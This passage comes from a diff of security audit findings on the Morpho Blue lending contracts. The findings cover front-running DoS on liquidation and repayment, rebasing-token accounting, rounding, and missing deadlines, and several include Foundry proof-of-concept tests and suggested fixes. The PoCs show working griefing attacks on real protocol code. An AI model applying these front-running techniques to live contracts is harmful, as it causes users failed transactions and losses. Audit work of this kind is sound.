+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+
+
+### Liquidation can be DoS by front run with repay 1 Wei _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L266-L295](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L295), [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410)
+
+- Description
+
+Morpho Blue is a trustless lending protocol. Like other lending and borrowing systems, it includes a liquidation function. Each market has its own Liquidation Threshold (LLTV), and market creators can choose from the enabled options provided by owners.
+
+If an account is not doing well and its Loan to Value (LTV) exceeds the market's Liquidation Threshold (LLTV), it can be liquidated, liquidators can liquidate up to 100% of the account’s debt and receive the corresponding value of the collateral, plus a relative incentive.
+
+Borrower can cause DoS when a liquidator attempts to liquidate the entire position at 100%. By front-running the liquidation transaction and repaying a minimal amount of debt (1 Wei), the borrower can reduce the `borrowShares` to be less than the amount the liquidator originally specified when sending the transaction.
+
+- Proof of Concept
+
+If a liquidator initiates a transaction to liquidate a borrower's entire position, and the borrower front-runs the liquidator by repaying 1 wei of debt, it can result in the borrowShares being reduced to less than what it was when the liquidator sent its transaction. This leads to an underflow error, causing the transaction to be reverted.
+
+The provided PoC follows this brief flow:
+
+1. Alice's position becomes unhealthy.
+2. A liquidator initiates a liquidation request for 100% of her position.
+3. Alice front-runs the transaction by repaying 1 Wei.
+4. The liquidator's transaction reverts due to an underflow error, and the liquidator incurs the gas cost for the failed transaction.
+
+- **Coded POC**
+
+Place the PoC at the end of the `BaseTest.sol`.
+
+Can be run with:
+
+```solidity
+yarn test:forge --match-contract BaseTest --match-test test_FullLiquidationCanBeDoSed -vv
+```
+
+```solidity
+function test_FullLiquidationCanBeDoSed() external {
+ vm.startPrank(OWNER);
+ morpho.setFee(marketParams, MAX_FEE);
+ vm.stopPrank();
+
+ loanToken.setBalance(SUPPLIER, 100e18);
+ loanToken.setBalance(LIQUIDATOR, 100e18);
+ collateralToken.setBalance(BORROWER, 100e18);
+
+ vm.startPrank(SUPPLIER);
+ morpho.supply(marketParams, 90e18, 0, SUPPLIER, '');
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10e18, BORROWER, '');
+ morpho.borrow(marketParams, 8e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ skip(1);
+ // After that, the borrower's position will become unhealthy
+ morpho.accrueInterest(marketParams);
+
+ // We determine the number of shares he owns
+ // and use it when the Liquidator wants to liquidate at 100%
+ uint128 borrowedSharesByBorrower = morpho.position(id, address(BORROWER)).borrowShares;
+
+ // Borrower front-runs by repaying 1 wei of debt
+ vm.startPrank(BORROWER);
+ morpho.repay(marketParams, 0, 1, address(BORROWER), '');
+ vm.stopPrank();
+
+ vm.startPrank(LIQUIDATOR);
+ // liquidate will revert with underflow
+ vm.expectRevert();
+ morpho.liquidate(marketParams, address(BORROWER), 0, borrowedSharesByBorrower, '');
+ vm.stopPrank();
+}
+```
+
+![Output](https://gist.github.com/assets/84782275/f8559676-3c59-4632-aae5-df36783ba18c)
+
+- Recommendation
+
+A good recommendation in this scenario would be to implement a check that ensures the liquidation amount does not exceed the current borrowShares. If the specified value in the liquidation transaction is higher than the borrowShares, set the liquidation amount equal to the borrowShares. This can help prevent underflow errors and ensure that the liquidation transaction is valid.
+
+```diff
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+
++ if (position[id][borrower].borrowShares < repaidShares.toUint128()) {
++ repaidShares = position[id][borrower].borrowShares;
++ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ seizedAssets =
++ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
++ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+
+
+### Full repay can be DoS by front run by attacker repaying 1 Wei
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L266-L295](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L295), [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410)
+
+- Description
+
+Right now, anyone can use the repayment feature in the system to help others pay off their debts. But there's a problem: If user tries to fully repay, the attacker can front-run them by applying a griefing attack, paying off 1 wei of the user's debt, which will cause the original transaction to be reverted due to an underflow error.
+
+The attacker can stop the user from fully paying off their debt by repaying a tiny amount in advance, resulting in an underflow error. Attacker can apply this attack for all other users who are going to repay their debt fully.
+
+- Proof of Concept
+
+When a borrower tries to repay their entire debt (100%), an attacker can front-run them by repaying just 1 wei of the debt. This action could cause the borrowShares to decrease below the amount it was when the borrower initiated its transaction. This leads to a potential underflow error, causing the transaction to be reverted.
+
+The Proof of Concept (PoC) operates as follows:
+
+1. Alice begins a transaction to fully repay her position.
+2. An attacker front-runs this by submitting a repayment request for 1 wei of her position.
+3. The transaction from Alice fails and reverts due to an underflow error, resulting in Alice incurring the gas cost for the unsuccessful transaction.
+
+- **Coded POC**
+
+You need to add some setup variables to be able to run the test.
+
+```diff
+📁 File: test//forge/BaseTest.sol
+
+Line:49
+...
+ address internal FEE_RECIPIENT;
++ address internal ATTACKER;
+
+ IMorpho internal morpho;
+ ERC20Mock internal loanToken;
+ ERC20Mock internal collateralToken;
+ OracleMock internal oracle;
+ IrmMock internal irm;
+
+ MarketParams internal marketParams;
+ Id internal id;
+
+ function setUp() public virtual {
+ SUPPLIER = makeAddr("Supplier");
+ BORROWER = makeAddr("Borrower");
+ REPAYER = makeAddr("Repayer");
+ ONBEHALF = makeAddr("OnBehalf");
+ RECEIVER = makeAddr("Receiver");
+ LIQUIDATOR = makeAddr("Liquidator");
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
++ ATTACKER = makeAddr("Attacker");
+
+ morpho = IMorpho(address(new Morpho(OWNER)));
+
+ loanToken = new ERC20Mock();
+ vm.label(address(loanToken), "LoanToken");
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "CollateralToken");
+
+ oracle = new OracleMock();
+
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ irm = new IrmMock();
+
+ vm.startPrank(OWNER);
+ morpho.enableIrm(address(irm));
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+ vm.stopPrank();
+
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(BORROWER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
++ changePrank(ATTACKER);
++ loanToken.approve(address(morpho), type(uint256).max);
++ collateralToken.approve(address(morpho), type(uint256).max);
+
+...
+...
+```
+
+Place the PoC at the end of the `BaseTest.sol`.
+
+Can be run with:
+
+```solidity
+yarn test:forge --match-contract BaseTest --match-test test_FullRepayCanBeGrievedByRepaying1Wei -vv
+```
+
+```solidity
+function test_FullRepayCanBeGrievedByRepaying1Wei() external {
+ loanToken.setBalance(SUPPLIER, 100e18);
+ loanToken.setBalance(ATTACKER, 100e18);
+ loanToken.setBalance(BORROWER, 100e18);
+ collateralToken.setBalance(BORROWER, 100e18);
+
+ vm.startPrank(SUPPLIER);
+ morpho.supply(marketParams, 90e18, 0 , SUPPLIER, '');
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10e18, BORROWER, '');
+ morpho.borrow(marketParams, 8e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ skip(1);
+ morpho.accrueInterest(marketParams);
+
+ // We determine the number of shares he owns
+ // and use it when wants repay position at 100%
+ uint128 borrowedSharesByBorrower = morpho.position(id, address(BORROWER)).borrowShares;
+
+ // Attacker front-runs by repaying 1 wei of debt
+ vm.startPrank(ATTACKER);
+ morpho.repay(marketParams, 0, 1, address(BORROWER), '');
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER);
+ // repay will revert with underflow
+ vm.expectRevert();
+ morpho.repay(marketParams, 0, borrowedSharesByBorrower, address(BORROWER), '');
+ vm.stopPrank();
+}
+```
+
+- Recommendation
+
+The following condition should be added to the function.
+
+```diff
+function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
++ if (position[id][onBehalf].borrowShares < shares) {
++ shares = position[id][onBehalf].borrowShares;
++ assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ }
+
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ // `assets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+}
+```
+
+
+
+### Morpho Markets does not support rebasing tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L166-L194](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166-L194), [Morpho.sol#L197-L227](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L227), [Morpho.sol#L300-L317](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L300-L317), [Morpho.sol#L320-L339](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L320-L339)
+
+- Description
+
+The current implementation Morpho markets have several important user flows two of which are particularly crucial and pertain to `supplying` and `withdrawing` of loan and collateral assets:
+
+- Supplying loan assets via [supply()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) and withdrawing loan assets via [withdraw()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197-L227)
+
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+}
+
+function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+}
+```
+
+- Supplying collateral assets via [supplyCollateral()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) and withdrawing collateral assets via [withdrawCollateral()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320-L339)
+
+```solidity
+function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+{
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // Don't accrue interest because it's not required and it saves gas.
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+ emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+
+ if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+}
+
+function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+ external
+{
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ position[id][onBehalf].collateral -= assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+
+ emit EventsLib.WithdrawCollateral(id, msg.sender, onBehalf, receiver, assets);
+
+ IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+}
+```
+
+- Proof of Concept
+
+The current implementation of Morpho markets not account for tokens that have rebasing mechanisms (where token balances fluctuate up or down without transfers). By caching (or ignoring) the `supplyShares` for positions during the supply and withdrawal of loan tokens, and `collateral` during the supply and withdrawal of collateral tokens, it's assumed that the received/sent amounts by the protocol will be static. However, this is not guaranteed. If `rebasing tokens` are used, the contract's balance may decrease or increase over time due to positive or negative rebases. This can lead to multiple issues or unfavorable scenarios for Morpho market users.
+
+Let's consider the following examples:
+
+**Scenario 1: `supplyCollateral()`/`withdrawCollateral()`**
+
+1. A borrower (or another user supplying collateral for a borrower) calls [supplyCollateral()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) with `10` tokens as collateral for their loan.
+2. Subsequently, a negative rebase occurs, reducing the total collateral token assets in the Morpho market by `2`.
+3. As a result, the collateral tokens in the Morpho market become `8`, and the borrower's collateral position remains `10`.
+
+**Scenario 2: `supplyCollateral()`/`withdrawCollateral()`**
+
+1. Alice wants to borrow a certain amount of loan tokens and calls [supplyCollateral()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) with `50` tokens, then proceeds to `borrow`.
+2. Later, Bob supplies `150` tokens as collateral through [supplyCollateral()](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) but does not `borrow`.
+3. A negative rebase then occurs, reducing the total collateral token assets in the Morpho market to `150`.
+4. Bob, realizing this, quickly calls [withdrawCollateral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320-L339) with `assets = 150 tokens` and unfairly withdraws all available collateral assets from the Morpho market. This action leaves Alice unable to withdraw her collateral later.
+
+> ***Note: Exactly the same two scenarios can also occur during the `supplying` and `withdrawing` of loan tokens.***
+>
+
+- Coded PoC
+
+**Scenario 1: `supplyCollateral()`/`withdrawCollateral()`**
+
+Place the PoC in the `BaseTest.sol` contract.
+
+```solidity
+yarn test:forge --match-contract BaseTest --match-test test_Rebase1 -vv
+```
+
+```solidity
+function test_Rebase1() external {
+ collateralToken.setBalance(BORROWER, 100e18);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10e18, BORROWER, '');
+
+ deal(address(collateralToken), address(morpho), (10e18 - 2e18));
+
+ console.log('Collateral token amount in current Morpho market: ', collateralToken.balanceOf(address(morpho)));
+ console.log('Current Collateral Position of borrower: ', morpho.position(id, BORROWER).collateral);
+}
+
+```
+
+```solidity
+Logs:
+ Collateral token amount in current Morpho market: 8000000000000000000
+ Current Collateral Position of borrower: 10000000000000000000
+```
+
+-
+
+**Scenario 2: `supplyCollateral()`/`withdrawCollateral()`**
+
+Place the PoC in the `BaseTest.sol` contract.
+
+*Notes:*
+
+1. Add the following variable in `BaseTest.sol` contract:
+ ```diff
+ + address internal BORROWER2;
+ ```
+2. Add the following code in `BaseTest.sol#setUp()` function:
+ ```diff
+ + BORROWER2 = makeAddr("Borrower2");
+ + changePrank(BORROWER2);
+ + collateralToken.approve(address(morpho), type(uint256).max);
+ ```
+
+```solidity
+yarn test:forge --match-contract BaseTest --match-test test_Rebase1 -vv
+```
+
+```solidity
+function test_Rebase2() external {
+ // BORROWER: Alice
+ // BORROWER2: Bob
+
+ loanToken.setBalance(SUPPLIER, 50e18);
+ collateralToken.setBalance(BORROWER, 50e18);
+ collateralToken.setBalance(BORROWER2, 150e18);
+
+ // random supplyer supply loan tokens
+ vm.startPrank(SUPPLIER);
+ morpho.supply(marketParams, 50e18, 0, SUPPLIER, '');
+ vm.stopPrank();
+
+ // Alice supply `50e18` collateral tokens and borrow `30e18` loan tokens
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 50e18, BORROWER, '');
+ morpho.borrow(marketParams, 30e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ // Bob supply `150e18` collateral tokens without to borrow
+ vm.startPrank(BORROWER2);
+ morpho.supplyCollateral(marketParams, 150e18, BORROWER2, '');
+ vm.stopPrank();
+
+ console.log('Balance of collateral tokens before rebasing: ', collateralToken.balanceOf(address(morpho))); // 200e18
+ deal(address(collateralToken), address(morpho), (200e18 - 50e18));
+ console.log('Balance of collateral tokens after rebasing: ', collateralToken.balanceOf(address(morpho))); // 150e18
+
+ // Bob withdraws all available collateral assets from the this Morpho market (`150e18`)
+ vm.startPrank(BORROWER2);
+ morpho.withdrawCollateral(marketParams, 150e18, BORROWER2, BORROWER2);
+ vm.stopPrank();
+
+ vm.startPrank(BORROWER);
+ // Alice repay her borrow
+ morpho.repay(marketParams, 0, morpho.position(id, BORROWER).borrowShares, BORROWER, '');
+
+ // But her withdaw revert
+ vm.expectRevert();
+ morpho.withdrawCollateral(marketParams, 50e18, BORROWER, BORROWER);
+ vm.stopPrank();
+}
+```
+
+```solidity
+Logs:
+ Balance of collateral tokens before rebasing: 200000000000000000000
+ Balance of collateral tokens after rebasing: 150000000000000000000
+```
+
+- Recommendation
+
+You can either explicitly document that you do not support tokens with rebasing mechanism or you can do the following:
+
+When rebasing tokens go up in value, you should add a method to actually transfer the excess tokens out of the protocol (possibly directly to market users).
+
+
+
+### Morpho.sol#_accrueInterest() - Incorrect rounding direction, when calculating feeShares for feeRecipient _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+It is widely accepted, that when rounding equations in DeFi protocols, the rounding should always favor the protocol.
+
+Morpho follows this rule throughout the entire protocol, except when calculating `feeShares` for the `feeRecipient`.
+
+```js
+uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+```
+
+As you can see when calculating `feeAmount` we use `wMulDown` which rounds down and in the following line we use `toSharesDown` which again rounds down.
+
+`wMulDown` implementation, not the comment.
+```js
+/// @dev Returns (`x` * `y`) / `WAD` rounded down.
+ function wMulDown(uint256 x, uint256 y) internal pure returns (uint256) {
+ return mulDivDown(x, y, WAD);
+ }
+```
+
+`toSharesDown` implementation, note the comment.
+```js
+/// @dev Calculates the value of `shares` quoted in assets, rounding down.
+ function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ return shares.mulDivDown(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES); //@audit why is this + VIRTAUL_SHARES and + VIRTUAL_ASSETS
+ }
+```
+The implementation of `mulDivDown`.
+```js
+ /// @dev Returns (`x` * `y`) / `d` rounded down.
+ function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ return (x * y) / d;
+ }
+```
+
+Since the `feeRecipient` is an address that the protocol sets, both of these calculations should ROUND UP in favor of the protocol, not in favor of the user, as they currently do.
+
+Since this is an important way that the protocol accumulates funds, after a long period, the rounding will have a larger and larger impact on the fees that the `feeRecipient` accumulates.
+
+**Recommendation**:
+
+Change `wMulDown` to `wMulUp` and `toSharesDown` to `toSharesUp`.
+
+
+
+### Full liquidation may fail due to seized collateral being higher than expected
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L374-L374](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L374-L374)
+
+**Description**:
+In the `liquidate` function the liquidator can either supply the amount of collateral to seize or the amount of shares to repay. If the second option is chosen, there is a possibility of a complete liquidation to fail, due to the following calculations:
+1/ `repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);` - therefore, the `repaidAssets` variable is rounded up
+2/ `seizedAssets = repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);` - therefore, `seizedAssets` is calculated using the rounded-up variable `repaidAssets`
+
+Consequently, `seizedAssets` may become slightly higher than the borrower's collateral, causing the following calculation to underflow:
+`position[id][borrower].collateral -= seizedAssets.toUint128();`
+
+**Recommendation**:
+When calculating `seizedAssets` in the second calculation use another variable, calculated the same way as `repaidAssets`, but rounded down.
+
+
+
+### Missing deadline checks allow pending transactions to be maliciously executed
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L166-L194](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166-L194), [Morpho.sol#L197-L227](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L227), [Morpho.sol#L232-L263](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L263), [Morpho.sol#L266-L295](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L295), [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410)
+
+- Description
+
+`Morpho Blue` is a trustless lending primitive that offers unparalleled efficiency and flexibility. It enables the creation of isolated lending markets by specifying any loan asset, any collateral asset, a liquidation LTV (LLTV), an oracle, and an interest rate model.
+The [`Morpho.sol`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol) contract manages various financial transactions such as `supplying`, `withdrawing`, `borrowing`, `repaying`, and `liquidating` assets. The contract is complex and involves numerous interactions with user positions and market conditions.
+One critical aspect of such contracts is the management of transaction deadlines. Deadlines are crucial in decentralized finance (DeFi) applications to mitigate risks associated with the volatile nature of blockchain-based assets and the Ethereum network's congestion and gas fees fluctuations.
+
+However the `Morpho` contract does not allow users to submit a deadline for their action. This missing feature enables pending transactions to be maliciously executed at a later point. This absence of deadline management can result in losses for users.
+
+- Proof of Concept
+
+The main functions of concern in the `Morpho` contract, such as `supply`, `withdraw`, `borrow`, `repay` and `liquidate` (functions that handle `asset transactions`), lack a mechanism to set and enforce deadlines for transaction execution. This oversight can lead to several problematic scenarios:
+
+1. **Delayed Transaction Execution**: Without a deadline, a transaction (e.g., `supply`, `borrow`) could remain pending in the Ethereum mempool for an extended period. If market conditions change unfavorably during this period, the transaction, once executed, could result in significant losses for the user. For example, users could borrow something they no longer want, or calculations related to `_isHealthy` might be performed with outdated data, leaving the users unsatisfied.
+2. **MEV (Miner Extractable Value) Exploitation**: Advanced bots or miners could exploit the absence of deadline checks. They might detect transactions with now-unfavorable terms (due to market shifts) and prioritize them for execution to their advantage, leading to losses for the original transaction initiators.
+3. **Unexpected Market Impact**: Users might be unaware of long-pending transactions which, when executed, could impact the market or their financial standing in unforeseen ways.
+
+- An example of a malicious execution of the `borrow()` function
+
+1. Alice wants to borrow 10 ethers for $16000 USDC. So, she signs the transaction calling `Morpho.sol#borrow()`.
+2. The transaction is submitted to the mempool, However, Alice chose a transaction fee that is too low for miners to be interested in including her transaction in a block. The transaction stays pending in the mempool for extended periods, which could be hours, days, weeks, or even longer.
+3. When the average gas fee dropped far enough for Alice's transaction to become interesting again for miners to include it, her borrow will be executed. In the meantime, the price of `ETH` could have drastically changed, potentially making the Alice to be unsatisfied with his borrow.
+
+- Recommendation
+
+Introduce a deadline parameter in the functions that handle `asset transactions`. This change would allow users to specify a maximum time window for their transactions to be executed, adding a layer of protection against market volatility and network congestion. The implementation should ensure that transactions not executed within the specified deadline are automatically reverted.
+
+- Specific Action:
+
+Introduce a `deadline` parameter to the main transaction functions (`supply`, `withdraw`, `borrow`, `repay`, `liquidate`).
+
+
+
+### Fees can be lost if no fee Recipient is set
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+let us take a look at the snippet below first
+
+```solidity
+ function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(newFee != market[id].fee, ErrorsLib.ALREADY_SET);
+ require(newFee <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);
+
+ // Accrue interest using the previous fee set before changing it.
+ _accrueInterest(marketParams, id);
+
+ // Safe "unchecked" cast.
+ market[id].fee = uint128(newFee);
+
+ emit EventsLib.SetFee(id, newFee);
+ }
+```
+There is no check in the snippet above that ensure the feeRecipient is not 0/ or has already been set.
+
+In the event where the owner first sets the fee before setting the recipient, all of the rewards will be sent to the 0 address.
+
+**Impact**
+fees generated will be lost
+
